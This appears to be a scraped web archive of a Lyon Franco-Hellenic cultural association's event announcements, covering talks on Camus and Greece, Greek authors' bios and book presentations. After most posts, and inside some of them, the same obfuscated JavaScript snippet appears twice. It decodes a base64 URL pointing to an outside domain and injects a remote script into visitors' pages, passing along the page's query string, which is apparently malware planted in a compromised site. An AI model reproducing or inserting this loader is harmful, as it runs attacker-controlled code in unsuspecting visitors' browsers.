Webinaire: Virginie Lupo, Albert Camus et ses liens avec la Grèce

Webinaire: Virginie Lupo, Albert Camus et ses liens avec la Grèce

Cher.e.s adhérent.e.s, cher.e.s ami.e.s

Defkalion a le grand plaisir de vous proposer, en partenariat avec l’Association Coup de Soleil en Auvergne Rhône-Alpes, une soirée consacrée au grand écrivain Albert Camus et ses liens avec la Grèce.

Vous trouverez, plus loin dans ce mail, après la description rapide de l’intervention et la courte biographie de l’intervenante :

  • un lien pour visionner un documentaire d’Arte sur les Cyclades vues au travers les « Carnets » de l’écrivain ;

  • un lien vers l’article « Les voyages d’Albert Camus en Grèce : l’expression intime de la joie » de GrèceHebdo.

« Même sans espoir la Grèce apprend à vivre »(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Présentation du livre “Contes des sages de la Grèce Antique” par Patrick Fischmann – 26 janvier

Defkalion a le plaisir d’inviter Patrick Fischmann pour présenter son livre:
thumbnailContes des sages de la Grèce Antique

le 26 janvier 2018 de 19h30 à 21h30

dans les locaux de l’IUT Lyon 1
17 rue de France (métro Gratte Ciel, Villeurbanne),
dans l’amphithéâtre 1, bâtiment A.
(Possibilité d’utiliser le parking de l’IUT, 100 places, gratuit-> http://plan.univ-lyon1.fr/plans/iutb_detail.html)

Ecrivain, poète et conteur, Patrick Fischmann réveille et rassemble des contes du monde entier. Son intention de transmettre la poésie des mots à travers l’oralité et l’écrit, révèle une parole riche et généreuse. Chanteur et compositeur multi-instrumentiste, attentif à la mélodie de chaque sagesse, il participe, avec joie et sensibilité, au réensemencement multiculturel et spirituel par les contes. Traduit en anglais, italien, chinois et mongol, il a publié quatorze recueils dans la collection des Contes des Sages dont les “Contes des sages de la Grèce antique”.

Présentation des ” Contes des sages de la Grèce Antique ”

Ce recueil nous porte au cœur de la pensée ancienne, dans un entrelacs de récits mythologiques, d’échos, dialogues et métaphores passés au souffle des sages qui inventèrent la philosophie.

On rencontre Dionysos, Thésée, Pan, Chiron, Héraclite, Socrate et Épicure. On suit Diogène dans les rues d’Athènes et le dieu gouailleur Momos. On entend les voix sublimes d’Orphée, d’Apollon, d’Arion, de Sapho. On contemple la beauté d’Aphrodite et l’on voit paraître l’Odyssée. Diotimée la devineresse nous invite dans sa grotte. Platon, Aristote, Empédocle nous parlent. Et Gygès, Eratosthène, Pythagore, Périclès, Hercule, Anaxagore… Puis, les Muses et les nymphes nous conduisent vers Pygmalion, qui met au monde l’âme de la Grèce.

Un voyage ingénieux et coloré où le miroir des dieux et des héros se reflète dans l’esprit des philosophes. L’auteur y réveille l’antique sagesse pour réensemencer notre vision du monde.

Patrick Fischmann signe ici son douzième titre dans la collection des Contes des sages. Un livre tout en finesse, servi par une iconographie somptueuse.

Au plaisir de vous y retrouver,thumbnail (1)(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Littérature : Ioànna Bourazopoùlou

Ioànna Bourazopoùlou - 20 novembre à 19h30
Ioànna Bourazopoùlou, née à Athènes en 1968, a étudié la gestion hôtelière et la gestion publique en Grèce et en Angleterre.
Elle écrit surtout des romans et du théâtre. Elle a publié des nouvelles et des articles dans la presse quotidienne et périodique ainsi que dans des revues littéraires grecques.
 
Bibliographie:
• Le boudoir de Nadir (2003), edts Kastaniotis.
• L’eau secrète (2005), edts Kastaniotis.
• Qu’a-t-elle vu, la femme de Lot ? (2007), edts Kastaniotis.   Prix d’Athènes pour la littérature 2008. 
En français : Qu’a-t-elle vu, la femme de Lot ? (2011), trad. Michel Volkovitch, edts Ginkgo.
En anglais : What Lot’s wife saw (2013), trad. Yiannis Panas, edts Black and White. 
• Coupable innocence (2011), edts Kastaniotis.
• Le voyage des trolls (2009), conte pour enfants, edts Kastaniotis.
Η Ιωάννα Μπουραζοπούλου γεννήθηκε στην Αθήνα το 1968. Σπούδασε Διοίκηση Ξενοδοχείων και Δημόσια Διοίκηση στην Ελλάδα και την Αγγλία.
Συγγράφει κυρίως μυθιστορήματα και θεατρικά έργα. Διηγήματα και άρθρα της έχουν δημοσιευθεί στον ημερήσιο και περιοδικό τύπο, καθώς και σε λογοτεχνικά έντυπα της Ελλάδας.
 
Κυκλοφορούν στα ελληνικά τα μυθιστορήματα:
·         «Το Μπουντουάρ του Ναδίρ» (2003) Εκδόσεις Καστανιώτη
·         «Το Μυστικό Νερό» (2005) Εκδόσεις Καστανιώτη
·         «Τι είδε η Γυναίκα του Λωτ;» (2007) Εκδόσεις Καστανιώτη.
Βραβευμένο με το 
Athens Prize for Literature 2008 του Περιοδικού ΔΕΚΑΤΑ.
Κυκλοφορεί στα Γαλλικά από το 2011, σε μετάφραση 
Michel Volkovitch Εκδόσεις GINKGO και
στα Αγγλικά από τον Ιούνιο του 2013, σε μετάφραση 
Yiannis Panas, Εκδόσεις BLACK & WHITE.
·         «Η Ενοχή της Αθωότητας» (2011) Εκδόσεις Καστανιώτη.  
·         Το παιδικό παραμύθι «Το ταξίδι των τρολ» (2009) Εκδόσεις Καστανιώτη
 
 
Ioanna Bourazopoulou was born in Athens in 1968. She studied hotel Management and Public Administration in Greece and the UK. She is a novelist and a play writer. Short storied and articles of hers are published in Greek newspapers, magazines and literary magazines.
 
Bibliography:
·         ‘The Boudoir of Nadir’, (2003), published in Greek by KASTANIOTIS EDITIONS.
·         ‘The Secret Water’ (2005), published in Greek by KASTANIOTIS EDITIONS.
‘What Lot’s Wife Saw’ (2007), published in Greek by KASTANIOTIS EDITIONS.
Awarded the Athens Prize for Literature 2008. Published in French (2011), “Qu’a-t-elle vu, la femme de Loth?” by GINKGO,
translated by Michel Volkovitch. Published in English (2013)
“What Lot’s Wife Saw” by BLACK AND WHITE, translated by Yiannis Panas.
·         ‘The guilt of innocence’ (2011), published in Greek by KASTANIOTIS EDITIONS.
·         And a book for children, ‘The journey of the trolls’, (2009) published in Greek by KASTANIOTIS EDITIONS.

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Littérature: Ersi Sotiropoulou à Lyon

Ersi-Sotiropoulou-signature2.jpgErsi-Sotiropoulou-signature1.jpg

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Littérature : Vassilis Alexakis à Lyon

Affiche Alexakis Vassilis 80x120cm HD

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Conversation avec Vassilis Alexakis : d’une langue à l’autre

D’UNE LANGUE A L’AUTRE

Conversation avec Vassilis Alexakis

Vassilis Alexakis vit entre deux langues : le grec et le français. Son œuvre a commencé en français car il pouvait « plus facilement faire de l’humour dans cette langue » ; puis il est passé à la langue maternelle et de nouveau au français : « Il y a un virage avec Talgo, le premier livre écrit en grec où je fais la preuve que ma première écriture reste la même en passant d’une langue à l’autre, que je ne trahis aucune de deux langues et qu’aucune ne me trahit ».

Y-a-t-il des conditions pour que le « passage » d’une langue à l’autre reste constamment ouvert ? Y-a-t-il des conséquences dans la mesure où ce « passage » est aussi  elui d’une culture à une autre ?

Nous savons que ce « passage » est plutôt un voyage inhérent à toute expérience de migration : tout migrant, d’un pays vers un autre ou d’une langue et d’une culture ver une autre, vit en lui deux processus simultanés :

-celui de l’éloignement de son ex « il » lié aux coordonnées de la culture qu’il quitte.

-celui d’un nouveau « il » qui se construit progressivement par le balbutiement du langage culturel du pays d’accueil.

Y-a-t-il risque que le nouveau « il » l’emporte sur le ex « il » et inversement ?

Peut on dire que la relation antre ces deux processus est celle de la traduction ou celle de la fécondation mutuelle ?

Les termes d’ « acculturation », d’ « adaptation » ou d’ « intégration » sont inadéquats pour décrire la dynamique conflictuelle qui se déroule dans le sujet migrant.

Bio-bibliographie :

Vassilis Alexakis est romancier, journaliste, cinéaste et dessinateur ; il écrit tantôt en français tantôt en grec des récits teints d’humour mêlant autobiographie, histoire universelle et récit fantastique.

Ses principaux ouvrages sont :

  • Talgo, Ed. du Seuil, 1983, traduit du grec par l’auteur
  • Paris-Athènes, Ed. du Seuil, 1989
  • La langue maternelle, Ed. Fayard, 1995
  • Les mots étrangers, Ed. Stock, 2002
  • Ap.J.-C. Ed. Stock, 2007, Grand Prix du roman de l’Académie Française.

 

 

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Fragments d’Homère et poèmes de Tassos Livaditis

RENCONTRES 2008 d’EUROPE & CIES

Du 31 mars au 6 avril 2008 à Lyon et Vienne (France)

Les Rencontres 2008 d’EUROPE & CIES
auront lieu à Lyon (France) et à Vienne (Isère) – dans une région à vocation européenne (géographie, histoire, économie, échanges touristiques, artistiques).
Rassemblant des équipes artistiques de différents pays européens et des acteurs engagés dans la construction européenne.
Le thème des Rencontres sera le suivant :

 

« A travers la question de la présence des Acteurs – Inventeurs de langages, défricheurs d’espace, porteurs de paroles et questionneurs de mythes
– quels enjeux sensibles pour la construction de la
Cité européenne : l’Europe comme culture commune ?»

 Mardi 1er avril 12H30 à la MJC Monplaisir
 Odyssée

Fragments d’Homère et poèmes de Tassos Livaditis

Lecture proposée par Makis Yalenios

EN LANGUE HOMÉRIQUE ET EN GREC D’AUJOURD’HUI  (et en français)

 Entrée libre

 Maison des Jeunes et de la Culture de Monplaisir

25 avenue des frères Lumière 
69 008 LYON 

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Conférence-débat avec l’écrivain grec: Takis Théodoropoulos

L’association culturelle franco-hellénique «Defkalion» organise
une conférence-débat avec l’écrivain
TAKIS THÉODOROPOULOS
L’importance de la pensée grecque pour la création en Europe d’aujourd’hui

 Jeudi 29 Novembre 2007 à 20h

À l’amphithéâtre de  l’Institut de Langue et de Culture Portugaises
107 rue de Marseille, 69007 Lyon
(Tramway T2 Centre Berthelot)
Entrée libre

Theodoropoulos.jpg
L’écrivain grec s’interroge sur le rapport actuel aux auteurs antiques et sur leur résonance dans la civilisation occidentale moderne. A partir d’exemples empruntés aux auteurs
grecs et latins, il mène une réflexion sur ce que peuvent apporter ces auteurs, dans la pensée et dans la création du XXIe siècle.

Il a reçu en 2004 le prix de l’Académie Française pour le rayonnement de la langue et de la littérature française.
Takis Théodoropoulos est né à Athènes en 1954. Après des études de Lettres en France, il a très vite publié ses premiers livres, en même temps qu’il exerçait la profession de journaliste culturel (il a notamment collaboré à Libération). Repéré comme l’un des chefs de file de la nouvelle génération des romanciers grecs, il nourrit son inspiration d’une solide culture antique.
  
Bibliographie de Takis Theodoropoulos  en français:
 Nous Sommes Tous Gréco-latins, 2005
Le Roman de Xénophon, 2005
Le Démon du Midi, 2003
La Grèce Secrète D’André Malraux, 2003
Les Sept Vies Des Chats D’Athènes, 2003
La Chute ne Narcisse, 1999
Le Paysage Absolu, 1993
Vu sur l’Acropole, 1992

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();